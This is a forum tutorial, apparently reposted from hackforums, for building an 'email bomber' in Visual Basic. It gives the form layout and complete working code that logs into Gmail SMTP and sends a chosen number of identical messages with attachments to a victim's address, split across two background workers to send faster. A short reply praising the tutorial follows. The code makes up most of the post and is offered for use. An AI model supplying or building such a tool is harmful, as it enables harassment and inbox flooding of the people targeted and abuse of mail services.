[TuT] [VB] Advanced Email Bomber

[zzGoWR]

not mine, taken from hackforums.net.

-----------------------------------------------


How to make an Advanced Email Bomber / Spammer
Written By: No0b

Hello Hackforums,
I thought I should write up a tutorial on hwo to make an advanced email spammer because most people use Timers, which are really slow.
Lets begin.

Step 1:
Start a new Visual Basic project and select Windows Forms Application.
Name it whatever you like.

Step 2: Form Design
Add the following:
5 Textboxes, Leave the names as it is. They are for: Gmail Username, Gmail Password, slave's address, Email Subject and Message body (make it's Multiline property to True).
List Box for the attachments.
5 buttons, set their text properties as follows:
Button1 - Send
Button2 - Cancel
Button3 - Exit
Button4 - Select Attachments
Button5 - Clear Attachments
Numeric UpDown to select the number of mails you are going to send (for now, set it's maximum value to 100)
A progressbar
2 Background Workers
1 OpenFileDialogue

You should have something like this:



That takes care of the design, lets get into the coding:

Imports:

Code:
Imports System.Net.Mail

Global Variables:

Code:
Dim sendammount As Integer = 0
    Dim sendammount1 As Integer = 0
    Dim sendammountdevided As Integer
    Dim p As Integer

Double click button3 and add the code:

Code:
Me.Close()

Double click Button2 and add code:

Code:
BackgroundWorker1.CancelAsync()
        BackgroundWorker2.CancelAsync()

Add this code under the End Sub of Button2:

Code:
Private Sub BackgroundWorker1_ProgressChanged(ByVal sender As System.Object, ByVal e As System.ComponentModel.ProgressChangedEventArgs) Handles BackgroundWorker1.ProgressChanged
        ProgressBar1.Value = e.ProgressPercentage * 2
    End Sub
    Private WithEvents TestWorker As System.ComponentModel.BackgroundWorker

Double click button1 and add the code:

sendammountdevided = 0
        sendammount1 = 0
        sendammount = 0
        ProgressBar1.Value = 0
        ProgressBar1.Update() 
If NumericUpDown1.Value Mod 2 <> 0 Then
            NumericUpDown1.Text = NumericUpDown1.Text + 1
            NumericUpDown1.Update()
            MsgBox("Blah! I hate odd numbers." + vbNewLine + "I will be adding 1 more!" + vbNewLine + "Making the total number of messages sent " + NumericUpDown1.Text + ".")
End If
        sendammountdevided = NumericUpDown1.Value / 2
        Button1.Enabled = False
        Button3.Enabled = False
        Button2.Enabled = True
        BackgroundWorker1.RunWorkerAsync()
        BackgroundWorker2.RunWorkerAsync()
        ProgressBar1.Maximum = NumericUpDown1.Value
        ProgressBar1.Value = 0
        TestWorker = New System.ComponentModel.BackgroundWorker

Double Click BackgroundWorker1:

Code:
Dim MyMailMessage1 As New MailMessage()
        MyMailMessage1.From = New MailAddress(TextBox1.Text)
        MyMailMessage1.To.Add(TextBox3.Text)
        MyMailMessage1.Subject = (TextBox4.Text)
        MyMailMessage1.Body = TextBox5.Text
        For counter = 0 To ListBox1.Items.Count - 1
            Dim Attach As Net.Mail.Attachment = New Net.Mail.Attachment(ListBox1.Items(counter))
            MyMailMessage1.Attachments.Add(Attach)
        Next
        Dim SMTPServer As New SmtpClient("smtp.gmail.com")
        SMTPServer.Port = 587
        SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
        SMTPServer.EnableSsl = True
        Do Until sendammount = sendammountdevided
            If BackgroundWorker1.CancellationPending Then
                Exit Sub
            End If
            SMTPServer.Send(MyMailMessage1)
            sendammount = sendammount + 1
            BackgroundWorker1.ReportProgress(sendammount, sendammount)
        Loop
        MsgBox("Done!")

Double click BackgroundWorker2:

Code:
Dim MyMailMessage As New MailMessage()
        MyMailMessage.From = New MailAddress(TextBox1.Text)
        MyMailMessage.To.Add(TextBox3.Text)
        MyMailMessage.Subject = (TextBox4.Text)
        MyMailMessage.Body = TextBox5.Text
        Dim SMTPServer As New SmtpClient("smtp.gmail.com")
        SMTPServer.Port = 587
        For counter = 0 To ListBox1.Items.Count - 1
            Dim Attach As Net.Mail.Attachment = New Net.Mail.Attachment(ListBox1.Items(counter))
            MyMailMessage.Attachments.Add(Attach)
        Next
        SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
        SMTPServer.EnableSsl = True
        Do Until sendammount1 = sendammountdevided
            If BackgroundWorker2.CancellationPending Then
                Exit Sub
            End If
            SMTPServer.Send(MyMailMessage)
            sendammount1 = sendammount1 + 1
        Loop

Double click button4:

Code:
OpenFileDialog1.ShowDialog()

Double click OpenFileDialogue1:

For Each track As String In OpenFileDialog1.FileNames
            ListBox1.Items.Add(track)

        Next

And just add this code at the ending, before End Class:

Code:
Private Sub donework(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BackgroundWorker1.RunWorkerCompleted
        Button1.Enabled = True
        Button3.Enabled = True
        Button2.Enabled = False
    End Sub

Thats it. Advanced bomber made simple.

Credits:
Me
Nathan for the source
Thanks for reading, please post your feedback.

Made by --([-S7N-])-- of HackForums

[The Winner]

Nice tut! ill do this in my spare time